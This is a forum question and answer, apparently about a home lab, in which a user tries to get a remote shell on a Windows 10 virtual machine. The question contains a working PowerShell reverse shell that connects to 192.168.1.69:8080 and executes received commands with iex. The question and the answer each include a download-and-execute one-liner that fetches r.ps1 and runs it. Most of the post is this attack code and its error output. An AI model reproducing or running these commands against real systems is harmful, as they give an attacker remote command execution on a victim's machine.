PowerShell issue to invoke shell - powershell

Question

Im trying to get a shell in my Win10 virtual machine but i get these
errors.
PS C:\Users\Diego Sepu> IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.69/r.ps1')
IEX : At line:13 char:39
... s.TCPClient("192.168.1.69\'94,8080)).GetStream();[byte[]]$bt=0..65535 ...
The string is missing the terminator: ".
At line:14 char:2
}
~
Missing closing ')' in expression.
At line:1 char:1
{\rtf1\ansi\ansicpg1252\cocoartf1504\cocoasubrtf820
~
Missing closing '}' in statement block or type definition.
At line:1 char:1
IEX (New-Object Net.WebClient).DownloadString(...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
FullyQualifiedErrorId : TerminatorExpectedAtEndOfString,Microsoft.PowerShell.Commands.InvokeExpressionCommand
Code:
$sm=(New-Object Net.Sockets.TCPClient("192.168.1.69",8080)).GetStream()
[byte[]]$bt=0..65535|%{0}
while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0)
{
$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i)
$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1))
$sm.Write($st,0,$st.Length)
}

Answer 1

(new-object Net.WebClient).DownloadString("http://192.168.1.69:8080/r.ps1") | iex
Try doing downloadstring first then piping the results into invoke-espression In your original screenshot you aren't invoking the contents of r.ps1 infact you are attempting to invoke the download itself. By piping the results of DownloadStringthe actual contents of r.ps1 will be extecute